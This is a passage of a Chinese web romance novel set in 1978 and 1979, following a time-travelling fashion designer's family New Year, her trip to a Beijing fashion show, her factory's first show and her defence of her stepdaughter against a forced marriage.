第85章 吃醋。 两人正聊着,傅青山那边已经做好了早饭,在当门喊她。 谢晚棠“哎”了一声,赶紧吐了漱口水,一笑露出两个小酒窝:“那我先回去吃饭了毕姐,一会儿去采购,等你好消息!” 谢晚棠走后,毕淑君轻抚自己小腹,说不出是什么感觉,真的有一个小宝宝在里面吗? 吃完早饭,一大家子骑车子出发去赶集买年货。 因为大集上的农产品便宜又不要票,镇上的职工和村里的社员们都来赶大集,年前最后一次大集,集上人头攒动,熙熙攘攘,热闹得很。 二刚抱着六六,这两年二刚个子也蹿起来,已经有一米八了,六六在二哥怀里,视野极好,高兴得不得了,小嘴叽叽喳喳个不停。 谢晚棠牵着小刚和妞妞,回头看二刚:“二刚你别惯着他,他都快50斤了,让他自己下来走。” 傅青山闻声也回头看过来,六六被爹娘看着,乖巧地抿抿嘴,轻声道:“二哥,我自己走吧。” 二刚笑着把人往上托了托:“娘,人多,我怕六六跟丢了。” 听着二刚给六六找借口,谢晚棠笑,但没戳破。 傅大嫂和老三媳妇也来镇上采购年货,两人自从接手了谢晚棠的小服装厂可了不得,不仅经营得井井有条,还学会了骑自行车。 一开始是骑大队部的自行车来城里进货,后来挣了钱,直接托谢晚棠帮着从黑市买了辆。 年底无论城里还是乡下做服装都是忙时候,谢晚棠已经有快一个月没见着傅大嫂和老三媳妇了,竟然这么巧在集上碰见,三个人拉着手去一边说话,让傅青山带孩子们先买着。 傅大嫂问她今天还是明天回去过年,这个事昨晚家里就开会商讨过了,谢晚棠笑道:“我们过年就不回去了,等初一回去串门。” 傅大嫂惊讶:“怎么过年都不回来了?” 老三媳妇也道:“我那儿和大嫂那儿都大,能挤开。” 谢晚棠摇摇头:“回去还得跟正屋那边一起过,孩子们都不愿意去,我试着也不愿意去表演,忙了一个多月,好不容易过个年能歇歇,也想在家自在自在。” 谢晚棠这么一说,傅大嫂和老三媳妇瞬间明白,不再硬劝,她们完全懂谢晚棠的心情,因为要不是离得近没办法,她们也不愿意去看老太太的脸色。 现在彻底分了家,他们都搬了出来,甚至都不住在一个院子里,老太太平时没人支使,逢年过节他们一回去可来劲了,坐在炕上对她们俩那一顿指挥,恨不得让她俩给家里来个大扫除。 傅大嫂点头:“也行,怎么办怎么好。” 老三媳妇笑道:“二嫂,那初一我做上卷煎等你啊!” 谢晚棠最爱老三媳妇的卷煎,碰碰她肩膀:“就等你这口!” 傅大嫂和老三媳妇买上东西还得快点赶回去做午饭蒸饽饽,三个人说了会话就分开了,约好初一见面再聊。 谢晚棠去找傅青山和孩子们的时候,看着身边路过的女人,五六个人里差不多就有一个穿着她设计的衣服,有她在村里时设计的旧款衣服,还有她来了国营服装厂以后设计的新款衣服。 作为一个服装设计师,这真的是对她最大的认可了。 她深吸一口气,感觉胸中充满了无限的能量。 1978年完美收官,1979年继续努力! 在大集上采购了农副产品,又去供销社买糖,供销社的两个售货员临近年根这波卖女装算是挣得盆满钵满,见谢晚棠来,像迎财神爷一样开心。 过年的时候大白兔奶糖都是最抢手的,每天限量供应,得一早来排队抢,他们来这个点,今天的量早都抢完了。 售货员小刘从柜台下边拿出来一包大白兔塞谢晚棠手里:“小谢,给你单独留出来的!” 谢晚棠笑着接过来:“谢谢啦刘姐!” 傅青山跟在后边付了钱,时间不早,中午也不回家做饭了,直接去旁边国营饭店吃的。 下午午休起来,傅青山带着三个小的大扫除,谢晚棠和兰兰一起揉面蒸枣饽饽、做乾陵、包孩子们爱吃的红豆包和豌豆包。 一家人正在家忙活得热火朝天,毕淑君和付天明来了,来送罐头,谢晚棠拜托毕妈妈给内部价买了两箱,不光她和家里孩子喜欢吃,到时候正月里回村串门,给亲戚们家的孩子都带点。 谢晚棠笑着从炕上下来,一手面不方便,让傅青山给毕淑君拿钱。 除了两箱罐头,付天明还搬来一小袋米。 毕淑君笑道:“糯米,我妈给你的,说要好好谢谢你。” S省是小麦产区,吃面食居多,别说糯米了,大米都是稀罕东西。 谢晚棠想到姥姥小时候包的肉馅糯米包,一口下去,既有糯米的软糯清香,又有葱花肉丁爆锅后的鲜香,绝顶的美味,孩子们都还没捞着尝过呢! “谢谢阿姨!”谢晚棠笑着接过来,随即笑着看向毕淑君的小腹,“所以阿姨要谢我,是真的怀小宝宝了吗!” 毕淑君少有的脸红,如娇羞少女,抿唇点头,“上午去找张大夫看过了,有了。” “哇哦!太好了!”谢晚棠比当初知道自己怀孕的时候还开心,她是要也行不要也行比较无所谓,毕淑君可是要了10年才得成所愿。 张老大夫说前三个月不稳定,这个孩子太珍贵了,为了好好养胎,毕淑君和付天明今年也不打算回老家过年了。 晚上红豆包和豌豆包出了锅,谢晚棠知道这样复杂的干粮付镇长肯定不会弄,装了一盆让兰兰给毕淑君送过去。 翌日吃过早饭,谢晚棠把泡了一晚的大米和糯米下锅煮上,兰兰发上面,上午再包一锅糯米包。 傅青山和付天明一起,把院子和门口都挂上了红灯笼,贴上了春联,红红火火、喜喜庆庆的,特别有年味。 等糯米煮好了盛到盆里,锅刷干净,倒油烧开,下葱花爆锅后,再下切好的肉丁翻炒熟盛出来,倒进装糯米的大盆里,撒上适量的盐搅匀,谢晚棠尝了尝,咸淡正好,鲜香软糯:“没错,就是这个味儿!” 谢晚棠给兰兰挖了一小勺尝,兰兰眯起眼睛:“糯米馅这么好吃?!” 三个小的跟在旁边眼馋得不行,谢晚棠笑着一人投喂一口,连带着二刚和傅青山也投喂着,主打一个雨露均沾。 准备工作做完,包和上锅蒸就很快了,午饭前,热乎乎的糯米肉包就出锅了,谢晚棠趁热拾了6个给对门送过去,看付天明过大年还在炒白菜鸡蛋虾皮,笑道:“毕姐,付哥,要不今晚咱们两家一起吃年夜饭吧,人多还热闹。” 主要是他看付镇长这个厨艺,怕是做不出来一桌年夜饭。 厨渣自然求之不得,毕淑君夫妻俩不是占人便宜的性格,吃过午饭就送过来肘子、肋排和一袋白面。 …… 1978年是国家改革开放的一年,也是这个小院子喜庆热闹的一年。 过完年,正月初七,国营服装厂正式上班。 冬装取得首胜,春装不仅要再接再厉,谢晚棠还计划要上男装。 上班第一周,毕淑君就带来一个好消息:法国设计师皮尔·卡丹下个月要在北京举办一场品牌时装展示会,派谢晚棠去北京学习。 老张和小张父女俩一改之前养老懒惰的工作状态,现在不仅能帮她剪裁版样,而且空闲时间也会看书钻研,只是受于经历和眼界的局限,在设计这方面总是差点意思。 谢晚棠跟毕淑君提了带两人一起去北京出差学习,毕淑君同意后,她回办公室把这个消息告诉了老张和小张,两人喜悦之情溢于言表,一整天干活都精神抖擞。 三月中旬。 谢晚棠和老张小张父女俩坐上老式绿皮火车,历经一天一夜,到达北京。 在北京生活了20多年,重新回到北京,谢晚棠心里说不出是个什么滋味。 40年后的北京跟1979年相比,变化可谓天翻地覆,此时的北京或许朴素,但充满着无限的可能。 皮尔·卡丹的时装秀两天后在北京民族文化宫举办。 作为中国最早的一场的时装表演秀,在北京引起了巨大轰动,可谓一票难求,如果她们不是代表服装厂来有公票,就算来了北京,都买不到票。 三个人先去逛了北京的大供销社,看了北京街头工人现在流行穿的衣服,小张工啧了声:“这真是首都吗?我怎么感觉她们穿的衣服还没有晚棠姐设计得好看呢?” 老张也皱眉:“是呀,确定我们已经是在首都中心了吗?” 谢晚棠忍不住笑,那当然了,她的设计理念来自2024,怎么可能是1979年的北京可比的呢? 皮尔·卡丹是第一个来中国的欧洲设计师,在这之后好几年,爱马仕、香奈儿等国际大牌才相继进入中国,引起国人的一波时尚热潮。 三个人逛了半头晌,父女俩越发佩服起谢晚棠来,服装方面实在没什么可学习的了,三个人逛了故宫,最后在北京大采购。 北京小吃谢晚棠从小就吃,对她没什么吸引的,*但孩子们和傅青山没吃过啊,她把北京那些好吃的糕点每样都买上一些,还有北京的特色酱菜,也是大沟镇没有的,都带回去让他们尝尝,直到把两个行李包塞得满满当当才不得不收手。 时装表演秀前一天,老张小张父女俩要去爬长城,谢晚棠婉拒了同行邀请。 她循着记忆中的路线,找到北京郊区的一个小村庄,那是她小时候跟着姥姥生活的地方。 不敢抱有太多期待,毕竟这是书中的世界,但当她看到年轻貌美的姥姥骑着自行车带着一个干净可爱的小女孩,母女俩说说笑笑从她身边经过时,谢晚棠内心最深处最柔软的地方被触动。 1979年,妈妈只有5岁,比六六还要小一点,姥姥还是一个同她一般大的年轻母亲。 两人经过她身边时,甚至没有多看她一眼。 1979年,距离她出生还有21年,这个时候的姥姥和妈妈,根本不认识她是谁。 能看到姥姥和妈妈幸福快乐地生活在这个世界,她已经无比知足,深吸一口气,仰头看着小村庄上方湛蓝的天空,心情一片爽朗。 大家都在,真好。 1979年3月19日,新中国第一场时装表演秀正式展出。 与谢晚棠21世纪看过的专业秀场相比,其实这场秀非常普通,但在当时足以引起轰动。 终于有好看的衣服了,老张小张激动地眼睛都不敢眨,生怕错过什么精彩之处,老张带着老花镜,拿着本子笔,不时写写画画记记,无比认真。 为期三天的北京学习之旅结束,三个人踏上了回城的火车。 回到大沟镇,三人迅速投入到春装的设计下样工作中。 谢晚棠提出上男装的建议被老张大力支持:“是啊,男人也得穿衣服嘛!” 老张裁缝底子很好,之前只是苦于没有灵感,北京这一趟看了外国设计师设计的男装,对他启发很大,谢晚棠便把设计的男装的重任交给老张,把女装设计的板块交给小张,她自己设计的同时,帮着两人把把关。 三个人齐心协力,技术部再也不是工厂里的养老部门,而是领头羊、核心中坚力量,关系着工厂每个季节的效益来源。 经过一个月的加班加点,春装的版样全部做好,下线生产。 谢晚棠跟毕淑君提议在大沟镇也办一场时装表演秀,更好地宣传新一季的男装女装,也给城镇男女职工树立一种时尚观念。 毕淑君非常支持,让谢晚棠大胆去干。 谢晚棠皱眉:“咱们厂女工多,女模特可以从咱们厂里选,可是男模怎么弄呢?” 受时代局限,这个年代没有专业模特这个职业,只能从男工女工里边选了培训,但对模特的身材比例、外貌要求还是比较高的,得先有一个大基数,才能有得挑嘛。 毕淑君想了想:“就是年轻帅气长得高身材好的男人呗?” 谢晚棠点头竖大拇指:“毕姐总结精准!” 毕淑君笑道:“这有什么难,我爸是机械厂厂长,找他帮忙。他厂子里就不缺年轻男工,200个男青年够你挑不?” 谢晚棠眼睛瞬间亮起来,小鸡啄米式点头:“够够够!” 200个里边挑10个,那绝对能精挑细选,足够足够! 女装之前已经有过冬装的市场基础了,但男装还是首次亮相,比如重视起来。 让男人自己重视自己的穿衣时尚比较难,毕竟国人这么多年的朴实理念在这摆着,都是女人才打扮的。 但是,可以反方向操作啊! 让男人的媳妇看看男人真好好打扮起来有多养眼,她们才是消费的主力,她们愿意打扮她们的男人就够了! 毕爸爸很给力,直接让谢晚棠去机械厂自己选人。 谢晚棠跟着毕淑君到机械厂,精挑细选了10个年轻帅气身材比例极佳的青年带回来,跟从自己厂里选的10个漂亮女工一起训练走台步。 要把男工女工训练成专业模特自然是不可能,但星期速成班还是有挺大效果的,表演秀前最后的加班练习时间,谢晚棠把毕淑君和老张小张也叫来帮着看看效果、提提意见。 毕淑君看完眼前一亮,没想到这就是时装表演秀,她感觉很好,都没什么好提意见的地方。 老张歪头想了想:“我记得当时那个法国的总设计师最后不也跟着模特们一起上台走秀谢场嘛,我觉得这个应该加上,毕竟这些衣服都是设计师的功劳,最后也应该让大家都认识一下设计师才对。” 谢晚棠一想也是:“那咱们三个也一起来走。” 老张吓得赶紧摆手:“别别别!我人多了说话结巴!” 谢晚棠笑得不行:“走秀不用说话。” 老张抵死不行:“走路也会腿软!” 小张也拨浪鼓似的摇头:“我腰上肚子上都是肥肉,人家这些模特都又瘦又好看的,趁得我像个大水桶似的,我不上不上,等明年,我减掉肥肉再上。” 谢晚棠:“……” 最后三人一致提议谢晚棠这个年轻貌美、身材姣好的总设计师,最后跟模特们一起回场走秀。 20个人一起回场,还要摆造型,之前没练过,正好三个人都在,谢晚棠跟大家合练的时候就让他们帮忙看着。 主要难点就是最后结束定型的时候,10个男模、10个女模和谢晚棠怎么摆造型。 小张:“我觉得这样一排一排站有点太死板了,像早晨车间开晨会点名似的。” 老张:“男模特比较高大,可以站在谢工身后,有一种男人的安全感。女模特可以站在前面两边,离观众近一点,每个人的姿势不要都一样,对,灵活俏皮一点。” 毕淑君托腮帮着出主意:“我觉得男模特也别死死地站一排,也灵活一点吧,最好跟晚棠有点互动,更自然。” 小张点头:“我记得人家北京那个表演秀,模特之间身体都会搭在一起,模特和设计师也是有肢体互动的,你们可以尝试把身体或者手搭在晚棠姐身上或者肩上。” …… 三个臭皮匠也顶个诸葛亮,一人一个小意见,最后结束大造型很快成型。 谢晚棠这些日子每天都在单位加班,之前都是傅青山回家做饭,兰兰在单位等她加完班,一起骑车子回家。 这天,兰兰跟罗淮约好了晚上下班来买肉见面,便跟傅青山说,她要早点回家做饭,让傅青山下班来等着接谢晚棠。 傅青山自然没有意见,下了班骑车子来到国营服装厂,问过门卫谢晚棠在哪儿,一路上问着路,寻着大礼堂而去。 大礼堂是国营服装厂全体职工开大会、以及逢年过节表演节目的地方,后天的大沟镇第一场免费时装表演秀也将在这里举行。 傅青山推开大礼堂的门,下边坐区昏暗,只有舞台上灯光明亮。 他一步一步朝着台上娇气可爱的女孩走近,唇角眉梢不自觉柔和下来,哪怕在一众精挑细选的女模特中,她也是最美的那一个,吸引着他全部的目光。 直到她停住脚步在台前站定,女模特在她身前两侧俏皮的散开,身后的年轻男模们簇拥着她。 她自然而优雅地靠在那群男模里最高、最帅的一个怀里,右手指尖轻佻地挑起身侧另一个帅气男模的下颌,如骄傲美丽的公主,接受着所有王子的深情注视。 第86章 嫉妒和占有欲在作祟。 他神色一暗,黑眸里翻涌着浓烈的情绪,锐利的视线几乎能将这个场景刺穿。 他甚至能清楚地感觉到,是嫉妒和占有欲在作祟。 无法自控。 一步一步走向他的她,面上看起来沉静如水,内心的情绪却被暴风雨搅动着疯狂翻涌。 “非常好!就这样吧!” 随着毕淑君一锤定音的拍板,现场的男模女模瞬间放松下来。 谢晚棠收回手,站直身体,偏头看到从暗影里走来的傅青山,唇角上扬,笑着招手:“二哥!这里!” 在所有人的注视下,傅青山走到谢晚棠身边,自然地牵住她的手,宣誓主权一般。 谢晚棠并没有发现什么异常,加班结束轻松道:“二哥,你来得时间刚刚好。” 傅青山垂眸看她:“嗯。” 傅青山今天穿的警服,本就肩宽背阔腰细腿长的高大笔挺身型被棱角分明的警服趁得更加男人味十足。 看着面前男俊女美的美好画面,小张啧啧感慨:“早知道姐夫这么帅,就该把姐夫选进模特队来啊!姐夫身材这么好,姐夫穿过的衣服,镇上的女工还不得买疯了啊!” 谢晚棠吐吐舌头,抱住傅青山的右胳膊俏皮道:“休想!这可是我独家享用的帅哥,不共享哦~” 大家被谢晚棠逗得不行,笑着结束加班,各自回家。 傅青山带着谢晚棠骑行在小路上,在谢晚棠娇滴滴在所有人面前抱住他胳膊、说他是独属于她的那一刻,心中的嫉妒早已烟消云散。 不管工作中有多少年轻男人仰慕崇拜她,工作结束的那一刻,她的眼里便只有他。 他对她有强烈的占有欲,也渴望着她对他也有同样的占有欲。 只有这样,他才有足够的安全感。 大沟镇国营服装厂首场春装时装发布会表演秀在厂大礼堂如期召开。 因为座位有限,只有300个,毕淑君给镇上每个工厂分了10张坐票,其他人想来也可以自带凳子来看。 晚上7点,小张从后台探头往外看,惊讶地对谢晚棠道:“晚棠姐!好多人!走廊里都挤满了,整个礼堂到处都是人!” 谢晚棠最后在帮模特调整衣服,闻声笑道:“还有半个小时才开始呢。” 肯定还有很多人在路上。 这个年代没什么夜生活,时装表演秀不仅是大沟镇的新生事物,而且不要钱,大家吃完饭都想来看看。 晚7点半。 首场春装时装表演秀准时开演。 主持人开场致欢迎词,厂长毕淑君讲话后,表演正式开始。 第一位女模特身着时尚干练的春装登台亮相,直接抓住了全场女工的目光,穿了这么多年肥肥垮垮的衣服,第一次看女人穿得如此修身有型,一个个眼睛都亮起来。 春季女装共有10套,45个色号,模特们踩着优雅的模特步,全方位360度展示身上的衣服。 半个小时的女装表演之后,男模特们逐一登场。 今天来看表演的主要是年轻女工,看到个个一米八多的年轻帅哥穿着帅气修身的男装,别提多养眼了! 自家男人不在身边,女工们纵情欢呼,给与男模们最热烈的掌声。 待7套男装,共计32个色号全部展示完,谢晚棠和所有模特同时登场谢幕,在主持人的旁白介绍中,全场气氛也达到最高。潮。 “各位来宾,最后介绍站在我们所有模特中间的这位美丽仙女,她就是本次时装表演秀的总设计师、我们大沟镇的时尚潮流神话——谢晚棠!!!” 时装表演结束,现场优惠首售,凡当晚购买两套衣服的,即送精美春季丝巾一条。 现场销售火爆热烈,单身女工有和同事一起拼单的,结了婚的女工赶紧回家去叫男人来试衣服,夫妻俩正好凑两套领丝巾。 生产线上所有女工都临时来充当现场导购,依旧忙得脚不沾地。 大家一直忙碌到10点半,现场人流才散尽,当晚统计的销量,女装总共卖出去1680多件,男装卖出去820多件,才1天,就赶上了冬装时一个月的销量,简直不可思议! 车间赶工了半个月的库存,一晚上就卖出去了3/4还多。 毕淑君本想今晚忙完给大家都放一天假歇歇,车间女工们却主动要求加班加点生产,等忙完春装再歇也不迟,毕竟她们服装行业季节性强,现在先加班多干挣奖金,等淡季再休息! 毕淑君感慨谢晚棠的奖金政策给工人们带来的超高积极性:“好!那大家就坚持坚持,等忙完春装,厂里全体歇班三天!” “谢谢厂长!” 翌日,谢晚棠和老张小张跟着厂里司机把剩下的春装统计数量,全部运到供销社上架销售。 两个售货员昨晚也去看了时装表演,两人都给自己和家里男人各搞了一身,还领到了赠品丝巾,今天新衣服和丝巾都穿上了,就跟给她们现场打广告似的。 小刘穿上新衣服精神抖擞:“昨晚回去俺邻居看了,后悔死没去看表演了,今天说要来这买。” 另一个售货员一边帮着卸货一边抱怨:“小谢啊,这也太少了!不够塞牙缝的!” 谢晚棠闻声笑道:“赶着呢赶着呢!明天一早就来补货,放心吧姐!” 说实话,谢晚棠也没想到,在大沟镇办时装秀会带来这么大的轰动。 而且春装比冬装用料少,做工也简单,售价只有冬装的1/2不到,销售量比着冬装只会高不会低,厂里的确要加班加点地赶才行- 毕淑君又从工装线调了1/3的人到时装线上,让女工们尽量能按时下班,别耽误生活。 毕淑君怀孕有四个多月了,虽然身材外形上还看不大出来变化,但做了妈妈的人,也不再像以前,一心扑在工作上,会把一部分精力放到生活中。 付镇长现在已经不让毕淑君自己骑车子了,每天上下班接送。 周六下班,明天就是休息日了,谢晚棠带着兰兰按时下班,一路上心情好到起飞。 早上就跟傅青山说好了晚上让他早点下班去买排骨,做糖醋小排吃,想到美味,脚下蹬车子都觉得有劲! 两人一路说说笑笑到家,刚停下车子,家门就从里边推开,一个谢晚棠没见过的老太太和中年妇女从屋里出来,“哎呦!兰兰现在长这么俊了!” 谢晚棠回头看兰兰,只见兰兰神色瞬间拉了下来,再也没有刚才进门前的神采飞扬。 谢晚棠瞬间了然,怕不是什么好人。 果然,一进门,就见当门里还坐着一个中年男人,傅青山的脸色也不好看。 锅里炖着糖醋小排,小刚烧着火,大家上炕坐下,傅青山一一介绍,谢晚棠才知道,这三个人原来就是兰兰他们几个孩子的奶奶、小叔和小婶。 当初兰兰他们的父母去世后,部队给了一笔大额抚恤金,被奶奶和小叔分了,但都只想要钱,谁都不愿意养这五个孩子,傅青山去的时候,看到的就是这几个孩子被推来推去的场面,所以才把他们领了回来。 几个人今天来,是要带走兰兰。 奶奶瞥了眼谢晚棠:“兰兰都20了,到了该结婚的年纪,你们不是亲爹亲娘不操心,我这个当奶奶的不能不管,我们邻村有一户殷食人家,兰兰嫁过去,肯定能过好日子!” 如果不是预知书中剧情,还真以为当奶奶的给孙女找了户好人家呢。 而实际则是,那户人家公公就有打婆婆的习惯,十里八乡没人愿意把闺女嫁过去,这家人就出高价彩礼娶媳妇,兰兰的奶奶和小叔小婶就是被钱打动的。 兰兰上一世一直跟着傅青山在下沟村生活,跟老家隔着十万八千里,根本不了解这些,稀里糊涂就嫁了过去,然后开始了被家暴磋磨的悲惨一生。后来傅青山过了十几年才知道兰兰过的是这样的日子,对自己当初同意结婚的决定悔恨万分。 卖孙女就够恶心的了,还再嫌弃着她和傅青山是养父养母不上心? 好,那就好好上上心。 谢晚棠闻声勾唇,笑得温温柔柔:“现在可是新社会了,不兴以前父母包办那一套,那可是违法的。现在法律规定婚姻自由,兰兰要嫁给谁,只能她自己做决定,我这个后妈做不了主,你们这些常年不在身边的亲戚也做不了主。” 三个人被谢晚棠说得一怔,脸色都不好看。 谢晚棠张口闭口就是法律规定,违法违规的,他们农村人听得一愣一怔的,说不过谢晚棠,就去看兰兰,小婶怂恿道:“兰兰,咱们不是来强逼你,就是担心你没人管,在家成了老姑娘,这才上心给你寻个好人家。” 上一世的兰兰没有文化、没有见识,看着身边的女孩都是到了年纪,家里给找户人家嫁了,她也觉得一辈子似乎就是这样的。 可这一世,她跟着谢晚棠读书学习,创业工作,已经从一个没有文化的农村姑娘,成长为一个独立自主的城镇女职工。 这些PUA的话对她来说没有用,而且,她确实有自己想要嫁的人:“奶奶,小叔,小婶,我的婚事就不用你们操心了,我自己有数。” 三个人怎么都没想到会是这样,在他们的记忆中,兰兰还是那个软软糯糯没脾气的小女孩。 奶奶闻声着急道:“你有什么数啊!你都20了,你再不找对象,可就耽误了!” 兰兰扬起下巴:“我有对象。” 小叔皱眉:“没听你后爹说——” 兰兰打断他:“我们是响应国家号召,自由恋爱,而且,爹就是爹,不是后爹。” 小叔被噎得说不上话来,小婶却纠缠不放:“兰兰,你该不会是糊弄我们吧,怎么我们一来,你就有对象了?” 兰兰迎上小婶打量的目光:“本来就要领回来见爹娘了,只是刚好你们来了而已。” 小婶:“……” 这伶牙俐齿的,哪还是小时候那个面条似的小姑娘,活脱脱跟这后娘一样不好弄! 奶奶皱眉:“啥,啥叫自由恋爱?不知根知底的能靠谱?” 眼见为实,三个人赖着不走,非要亲眼看看兰兰要领回家的对象才肯罢休。 兰兰也不惧,她说得本就是实话,本来就打算忙完春装这波,就带罗淮回来见爹娘的,现在不过是提前半个月而已。 翌日一早,兰兰去黑市找罗淮,罗淮一听兰兰老家的人居然要让兰兰嫁到那么偏远的山村去,那怎么行! 把兰兰娶回二沟村他都觉得委屈兰兰呢! 自从上次兰兰跟她说了见爹娘的事,罗淮就已经着手准备上门礼物了,回去洗头洗脸,换上兰兰给她做的新衣服,拎上给岳父岳母准备好的补品跟着兰兰,雄赳赳气昂昂地就出发了! 三个人一见罗淮又高又帅又年轻,跟他们给兰兰寻摸的男人一比,简直一个天上一个地下,只能闭嘴。 见实在是没了挣钱的机会,三个人便说要回去,谢晚棠笑着拦下三人道:“赵团长的抚恤金按照法律规定,是用来赡养他的父母,抚养他的孩子的,应当分为六份,父母一份,五个孩子各一份。” 这些人这家人眯下钱还不管孩子也就罢了,居然还要来卖了兰兰再挣一份,真是一点亲情都没有了。 是可忍孰不可忍。 一提到抚恤金,三人脸色瞬间拉下来,小婶撇嘴道:“我们家的事,还轮不到你一个外人来管。” 谢晚棠笑笑:“当然不用我来管,法律会管,法院会管。” 小婶一怔,随即又哼了声:“钱早都没了,法院管也没有。” 谢晚棠给她科普了下什么叫强制执行:“法院可以把你家的房子、地都充公抵现。” 小叔小婶:“……” 三人一听,吓得当场下炕穿鞋就要跑,谢晚棠一把拉住小婶的胳膊:“法院的传票会送到你们村委会,跑到天涯海角也没用。” 谢晚棠说话的时候温温柔柔的,但兰兰的小婶听着莫名就觉得毛骨悚然,结巴道:“那我们身上也没带现钱啊!等回去的,回去就先把兰兰那一份汇过来就是!” 谢晚棠笑着下去送客:“那就以一个月为限,一个月内收不到汇款,耽误了兰兰结婚买房子,我们可就上法院走法律程序了。” 奶奶小叔小婶:“……” 真特么服了! 本来想来赚一笔,结果反被敲走一笔! 三个人回去的路上互相埋怨,直接吵成一团。 傅青山和谢晚棠对罗淮自然是熟悉的,看着罗淮这些年在黑市一点点摸爬滚打起来,自然放心,让罗淮回去跟父母商量见面的时间,两人结婚的事正式提上日程。 吃过午饭,谢晚棠拿出来钱匣子,数家里的现金够不够给兰兰准备结婚用,不够就去银行提。 罗淮这些年做黑市买卖肯定不少挣,她和傅青山也会帮着贴补,再加上兰兰的小叔小婶回去寄来一份抚恤金,买房子的钱肯定是够,就是目前管控得还是严,两人还没有购房资格。 不过也没事,给小两口备下买房的钱,先租个亮堂的房子住着,用不了一两年,国家的管控越来越松,到时候再买也不耽误。 兰兰这辈子终于不用再嫁给家暴男磋磨一生,还享受了新时代年轻人浪漫的自由恋爱,有一个踏实能干、干净帅气的青年相伴左右,真好。 小腹处突然像是有条小鱼轻轻游过,温柔地带起一丝涟漪,只不过那微妙的感觉转瞬即逝,谢晚棠沉浸在快乐的情绪里,也没多想,继续开开心心给兰兰点钱。 第87章 钻过套套也非要来找我们的小闺女。 两家家长见过面后很快定亲,这些年罗淮在黑市做猪肉生意攒了不少钱,三转一响自是不必说,除此之外还有300块钱。 谢晚棠和傅青山也不缺钱,彩礼钱都给了兰兰,让她带回小家庭。 两人还没有买房资格,就先在镇上租的房子,套二,不算大,但胜在有独立小院,采光也不错。 两人的婚期定在4月30号,忙完春装最急的时候,谢晚棠正好腾出时间,趁周末不上班给兰兰准备结婚的喜被和婚服。 不像21世纪,有那种结婚用品一条龙的店,这年代喜被和婚服还得自己做。 谢晚棠给兰兰设计的婚服款式,去供销社买了布料和配饰,回来自己亲手裁剪、用缝纫机跑起来,比给当初自己结婚时做得还要用心。 自从嫁给傅青山,从老房子、到新房子、到搬到镇上,7年多的时间,她们早已经是一家人,超越了血缘。 兰兰性格温柔、本性善良、勤快朴实,她这个做后妈的不会做饭,都是兰兰在帮她撑起来,她怀孕生六六顾不上家庭事业,都是兰兰在帮她分担。 兰兰是称职的大姐姐,更是她最喜欢的大女儿。 看罗淮眼里都是兰兰的样子,她相信自己不会看错。 这样好的兰兰,这辈子一定要幸幸福福才行! 裁婚服的时候,小腹处又传来那种嗖一下,小鱼游过搬的奇怪感觉,谢晚棠伸手揉了揉,最近总是时不时就有这样的感觉。 是不是这段时间春装太火,总是加班,有时候吃饭也不及时,肠胃不太好,感觉就像是肚子里有股气在到处走似的。 等忙完兰兰结婚这波,得去医院看看,看看要不要吃点健胃消食片还是什么的,也不知道这个年代有没有细分的消化内科。 结婚当天,谢晚棠早早起来给兰兰花上美美的妆,换上好看的婚服。 虽然两人在镇上租了房子,但结婚仪式还是要回罗淮的老家二沟村办,二刚和傅青山去送亲。 傅大嫂和老三媳妇都从村里上来,一起帮着送兰兰出门子。 虽然知道兰兰只是去走个形式,很快还会回到镇上,她们在一个厂子上班,每天都会见,她们住得也不远,走着就能到,但是,送兰兰出嫁上车的那一刻,她心里还是空落落的。 以后兰兰不只是她的女孩,也是别人的女人了。 既是邻里,又是领导,毕淑君也跟着忙活了一早晨,看呼啦啦的人走后,谢晚棠神情有点落寞,便拉着她去屋里聊天,分散她的注意力。 谢晚棠跟毕淑君还有傅大嫂老三媳妇聊了一会儿,情绪稍微好了些。 春天穿得不像冬天那么厚了,谢晚棠看着毕淑君微微隆起的小腹:“毕姐,你这往下慢慢也就显怀了。” 毕淑君闻声摸摸自己小腹,笑道:“是呀,能看出来有点小肚子了,我妈说后边长得会很快?” 傅大嫂、老三媳妇和谢晚棠都是怀过孕的,聊起怀孕话题,四个人在炕上热闹得紧,傅大嫂和老三媳妇给毕淑君分享怀孕后的各种经验,毕淑君认真听着,心里一一记下。 毕淑君最近一个月不怎么吐了,但脸上又开始长疙瘩,老三媳妇笑道:“肯定是个儿子!我怀儿子的时候就是脸上背上起这么些疙瘩,生完就好了。” 毕淑君在城里长大,倒是没有重男轻女的思想,不过张老大夫把脉的时候确实也说过,是个儿子。 毕淑君看谢晚棠:“小谢倒是气色越来越好了,别人都是加班加得脸色差,你可倒好,这皮肤又白又细的。” 谢晚棠摊摊手:“是啊,愁人,天生就是为奋斗而生的女人,你说怎么整?” 屋里的其他三个女人也都是事业型女人,听到谢晚棠这俏皮话,笑作一团,屋里笑声不断。 兰兰结婚让谢晚棠萌生了尽快将婚服系列提上日程的想法,她这是自己会做衣裳的,那些自己不会做衣裳的就得去小裁缝部找人做,来来回回就是那些老款式,根本不符合年轻人变幻的潮流审美。 她把这个想法跟毕淑君还有老张小张提了出来,三个人一致赞同。 婚服市场不同于日常时装,虽然不是人人都要穿,但这是个刚需市场,而且随着大包干的推进,大家生活条件好了,结婚也不差钱了,好看的婚服能卖上好价格。 说干就干。 谢晚棠和老张小张分工合作,把男女婚服套装系列提上设计日程,随着今年的夏装一起上市。 春装大生产基本接近尾声,会计部核算收益,今年春装一季的收益是去年冬装的两倍还多,而且超过了去年全年工装的收益。 时装已经成为厂里的主要效益来源。 春装忙完,毕淑君开厂大会,总结表扬,发放绩效,并按之前约定,给全场员工放假三天,回去休息好,多陪陪家里人,调整好状态,回来再好好干夏装。 毕淑君看着全场女工笑靥如花,斗志昂扬的模样,非常欣慰,这才是新时代女人该有的面貌! 谢晚棠的休息日就是傅青山的放纵日,不用担心晚上放肆太晚,影响谢晚棠第二天上班。 几乎夜夜放纵到后半夜,谢晚棠一觉醒来就是中午,孩子们在学校吃食堂不回来,傅青山中午下班回来给她做饭。 谢晚棠懒洋洋地赖在炕上不想动,听着当门里男人做饭的声音,感慨傅青山真是七年如一日的精力旺盛。 昨晚快三点了才睡,早上按时起来给孩子们做饭,上午上班,中午回来给她做饭,吃了午饭午休半个小时下午继续去上班。 不愧是未来大佬,在精力这方面就已经碾压她这种小菜鸡了。 午饭是烙葱油饼、西红柿蛋汤和凉拌小虾皮。 谢晚棠享受着美味的午餐,叹了口气:“二哥,你的厨艺越进步,我的小肚子就越鼓,都被你喂胖了!” 傅青山闻声抬眸看她,一脸认真:“你不胖。” 谢晚棠睡够了心情好,笑眯眯地看着他:“二哥,你是怎么做到嘴又笨又甜的?” 傅青山:“我说的是实话。” 